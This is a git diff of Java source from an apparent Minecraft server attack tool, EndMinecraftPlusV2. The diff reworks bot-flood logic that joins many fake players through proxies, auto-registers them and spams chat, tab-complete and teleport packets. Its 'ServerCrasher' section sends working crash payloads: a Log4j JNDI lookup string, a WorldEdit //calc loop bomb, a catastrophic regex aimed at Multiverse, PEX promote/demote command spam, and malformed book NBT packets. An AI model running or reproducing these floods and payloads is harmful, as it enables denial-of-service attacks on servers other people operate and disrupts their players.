import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer;
|
||||
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
|
||||
|
||||
import java.io.OutputStream;
|
||||
@ -46,7 +43,7 @@ public class NewBotAttack extends IAttack {
|
||||
public static int failed = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
public static List<Session> alivePlayers = new ArrayList<>();
|
||||
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||
@ -56,7 +53,6 @@ public class NewBotAttack extends IAttack {
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
public Set<Session> clients = new ConcurrentSet<>();
|
||||
@ -84,75 +80,177 @@ public class NewBotAttack extends IAttack {
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
for (Session c : clients) {
|
||||
List<Session> tempList = new ArrayList<>(alivePlayers);
|
||||
|
||||
for (Session c:tempList) {
|
||||
if (c.isConnected()) {
|
||||
if (c.hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
}
|
||||
if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) {
|
||||
c.setFlag("chatSpam", true);
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
while (c.isConnected()) {
|
||||
try {
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, getRandMessage(clientName.get(c)));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
}
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
}
|
||||
|
||||
if (ConfigUtil.RandomTeleport) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c);
|
||||
if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) {
|
||||
c.setFlag("randomTeleport", true);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
try {
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
Thread.sleep(500);
|
||||
OtherUtils.doSleep(500);
|
||||
VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
} else {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
} else {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
try {
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
Thread.sleep(500);
|
||||
OtherUtils.doSleep(500);
|
||||
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
||||
c.setFlag("crasher", true);
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
|
||||
new Thread(() -> {
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher");
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, log4jExploit);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, log4jExploit);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, log4jExploit);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(log4jExploit));
|
||||
}
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, worldEdit);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, worldEdit);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, worldEdit);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(worldEdit));
|
||||
}
|
||||
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, multiverseCore);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, multiverseCore);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, multiverseCore);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(multiverseCore));
|
||||
}
|
||||
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
String pex_2 = "/pex demote a a";
|
||||
while (c.isConnected()) {
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
|
||||
} else {
|
||||
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(2000);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
|
||||
c.setFlag("tabAttack", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendTabPacket(c, "/");
|
||||
} else {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
}
|
||||
OtherUtils.doSleep(100);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
} else if (c.hasFlag("join")) {
|
||||
if (ConfigUtil.RegisterAndLogin) {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
try {
|
||||
for (String cmd:ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
if (ProtocolLibs.adaptAfter760) {
|
||||
VersionSupport760.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter759) {
|
||||
VersionSupport759.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendChatPacket(c, cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))));
|
||||
} else {
|
||||
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
|
||||
|
||||
c.setFlag("login", true);
|
||||
} catch (Exception ignored) {}
|
||||
} else {
|
||||
c.setFlag("login", true);
|
||||
}
|
||||
|
||||
c.setFlag("login", true);
|
||||
}
|
||||
} else {
|
||||
alivePlayers.remove(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -182,38 +280,18 @@ public class NewBotAttack extends IAttack {
|
||||
}
|
||||
});
|
||||
|
||||
if (this.attack_tab) {
|
||||
tabThread = new Thread(() -> {
|
||||
while (true) {
|
||||
for (Session c : clients) {
|
||||
if (c.isConnected() && c.hasFlag("login")) {
|
||||
if (ProtocolLibs.adaptAfter758) {
|
||||
VersionSupport758.sendTabPacket(c, "/");
|
||||
} else {
|
||||
MultiVersionPacket.sendTabPacket(c, "/");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
OtherUtils.doSleep(10);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
mainThread.start();
|
||||
if (tabThread != null)
|
||||
tabThread.start();
|
||||
if (taskThread != null)
|
||||
if (taskThread != null) {
|
||||
taskThread.start();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public void stop() {
|
||||
mainThread.stop();
|
||||
if (tabThread != null)
|
||||
tabThread.stop();
|
||||
if (taskThread != null)
|
||||
if (taskThread != null) {
|
||||
taskThread.stop();
|
||||
}
|
||||
}
|
||||
|
||||
public void setTask(Runnable task) {
|
||||
@ -222,16 +300,14 @@ public class NewBotAttack extends IAttack {
|
||||
|
||||
private void cleanClients() {
|
||||
for (Session client:clients) {
|
||||
String username = clientName.get(client);
|
||||
|
||||
if (!client.isConnected()) {
|
||||
positionPacket.remove(client);
|
||||
alivePlayers.remove(username);
|
||||
alivePlayers.remove(client);
|
||||
clientName.remove(client);
|
||||
clients.remove(client);
|
||||
} else {
|
||||
if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(client) && (client.hasFlag("login") || client.hasFlag("join"))) {
|
||||
alivePlayers.add(client);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -250,39 +326,36 @@ public class NewBotAttack extends IAttack {
|
||||
break;
|
||||
}
|
||||
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Session client = createClient(ip, port, User[0], proxy);
|
||||
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
ProxyUtil.clientsProxy.put(client, proxy);
|
||||
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
while (clients.size() <= this.attack_maxconnect) {
|
||||
for (String p: ProxyUtil.proxies) {
|
||||
try {
|
||||
if (!EndMinecraftPlusV2.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joinedPlayers.size() + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
|
||||
}
|
||||
|
||||
client.connect(false);
|
||||
});
|
||||
String[] _p = p.split(":");
|
||||
Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
String[] User = AttackManager.getRandomUser().split("@");
|
||||
Session client = createClient(ip, port, User[0], proxy);
|
||||
client.setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
|
||||
clientName.put(client, User[0]);
|
||||
clients.add(client);
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
pool.submit(() -> {
|
||||
if (this.attack_motdbefore) {
|
||||
getMotd(proxy, ip, port);
|
||||
}
|
||||
|
||||
if (clients.size() > this.attack_maxconnect) {
|
||||
break;
|
||||
client.connect(false);
|
||||
});
|
||||
|
||||
if (this.attack_joinsleep > 0) {
|
||||
OtherUtils.doSleep(attack_joinsleep);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
LogUtil.doLog(1, "发生错误: " + e, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -396,7 +469,6 @@ public class NewBotAttack extends IAttack {
|
||||
clientName.put(rejoinClient, username);
|
||||
clients.add(rejoinClient);
|
||||
rejoinClient.connect(false);
|
||||
ProxyUtil.clientsProxy.put(client, proxy);
|
||||
|
||||
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
|
||||
rejoinPlayers.remove(username);
|
||||
@ -412,7 +484,7 @@ public class NewBotAttack extends IAttack {
|
||||
}
|
||||
|
||||
failed++;
|
||||
alivePlayers.remove(username);
|
||||
alivePlayers.remove(client);
|
||||
}).start();
|
||||
}
|
||||
});
|
||||
@ -460,8 +532,8 @@ public class NewBotAttack extends IAttack {
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
|
||||
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -488,10 +560,6 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages && !result.get("msg").equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
@ -527,8 +595,8 @@ public class NewBotAttack extends IAttack {
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
joinedPlayers.add(session);
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
|
||||
VersionSupport758.sendClientSettingPacket(session, "zh_CN");
|
||||
@ -536,8 +604,8 @@ public class NewBotAttack extends IAttack {
|
||||
} else if (recvPacket instanceof ClientboundKeepAlivePacket) {
|
||||
ServerboundKeepAlivePacket keepAlivePacket = new ServerboundKeepAlivePacket(((ClientboundKeepAlivePacket) recvPacket).getPingId());
|
||||
session.send(keepAlivePacket);
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
if (!alivePlayers.contains(session)) {
|
||||
alivePlayers.add(session);
|
||||
}
|
||||
} else if (recvPacket instanceof ClientboundPlayerPositionPacket) {
|
||||
try {
|
||||
@ -559,10 +627,6 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
@ -578,10 +642,6 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
@ -597,10 +657,6 @@ public class NewBotAttack extends IAttack {
|
||||
joinedPlayers.add(session);
|
||||
}
|
||||
|
||||
if (!alivePlayers.contains(username)) {
|
||||
alivePlayers.add(username);
|
||||
}
|
||||
|
||||
if (ConfigUtil.ShowServerMessages) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + result.get("msg"), "BotAttack");
|
||||
}
|
||||
|
@ -7,18 +7,21 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.A
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport107;
|
||||
import io.netty.util.internal.ConcurrentSet;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.mc.protocol.data.game.ItemStack;
|
||||
import org.spacehq.mc.protocol.data.game.values.ClientRequest;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientRequestPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerUpdateHealthPacket;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
@ -27,6 +30,9 @@ import org.spacehq.opennbt.tag.builtin.Tag;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.io.NetInput;
|
||||
import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetInput;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
@ -38,25 +44,25 @@ import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.Socket;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class BotAttack extends IAttack {
|
||||
public static HashMap<Client, String> clientName = new HashMap<>();
|
||||
public static HashMap<Session, String> clientName = new HashMap<>();
|
||||
public static int failed = 0;
|
||||
public static int rejoin = 0;
|
||||
public static int clickVerifies = 0;
|
||||
public static List<String> rejoinPlayers = new ArrayList<>();
|
||||
public static List<Session> joinedPlayers = new ArrayList<>();
|
||||
public static List<String> alivePlayers = new ArrayList<>();
|
||||
public static List<Session> alivePlayers = new ArrayList<>();
|
||||
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
|
||||
protected boolean attack_motdbefore;
|
||||
protected boolean attack_tab;
|
||||
protected Map<String, String> modList;
|
||||
|
||||
private Thread mainThread;
|
||||
private Thread tabThread;
|
||||
private Thread taskThread;
|
||||
|
||||
public Set<Client> clients = new ConcurrentSet<>();
|
||||
@ -84,76 +90,135 @@ public class BotAttack extends IAttack {
|
||||
public void start() {
|
||||
setTask(() -> {
|
||||
while (true) {
|
||||
for (Client c : clients) {
|
||||
if (c.getSession().isConnected()) {
|
||||
if (c.getSession().hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam) {
|
||||
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
}
|
||||
List<Session> tempList = new ArrayList<>(alivePlayers);
|
||||
|
||||
if (ConfigUtil.RandomTeleport) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c.getSession());
|
||||
if (c.getSession().isConnected() && positionRotationPacket != null) {
|
||||
new Thread(() -> {
|
||||
for (Session c:tempList) {
|
||||
if (c.isConnected()) {
|
||||
if (c.hasFlag("login")) {
|
||||
if (ConfigUtil.ChatSpam && !c.hasFlag("chatSpam")) {
|
||||
c.setFlag("chatSpam", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
OtherUtils.doSleep(ConfigUtil.ChatDelay);
|
||||
try {
|
||||
MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
Thread.sleep(500);
|
||||
MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} catch (InterruptedException e) {
|
||||
throw new RuntimeException(e);
|
||||
c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.RandomTeleport && !c.hasFlag("randomTeleport")) {
|
||||
c.setFlag("randomTeleport", true);
|
||||
|
||||
new Thread(() -> {
|
||||
while (c.isConnected()) {
|
||||
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
|
||||
|
||||
if (c.isConnected() && positionRotationPacket != null) {
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
OtherUtils.doSleep(500);
|
||||
MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
|
||||
} else {
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
if (ConfigUtil.ServerCrasher && !c.getSession().hasFlag("crasher")) {
|
||||
c.getSession().setFlag("crasher", true);
|
||||
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
|
||||
new Thread(() -> {
|
||||
c.setFlag("crasher", true);
|
||||
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
new Thread(() -> {
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
|
||||
|
||||
while (true) {
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
if (MCForge.getProtocolVersion() == 47) {
|
||||
while (c.isConnected()) {
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
|
||||
byte[] crashData = buf.toByteArray();
|
||||
byte[] crashData = buf.toByteArray();
|
||||
|
||||
c.getSession().send(new ClientPluginMessagePacket("MC|BEdit", crashData));
|
||||
c.getSession().send(new ClientPluginMessagePacket("MC|BSign", crashData));
|
||||
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
|
||||
c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
|
||||
|
||||
Thread.sleep(ConfigUtil.ServerCrasherPacketDelay);
|
||||
} catch (Exception ignored) {}
|
||||
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
|
||||
} catch (Exception ignored) {}
|
||||
}
|
||||
} else {
|
||||
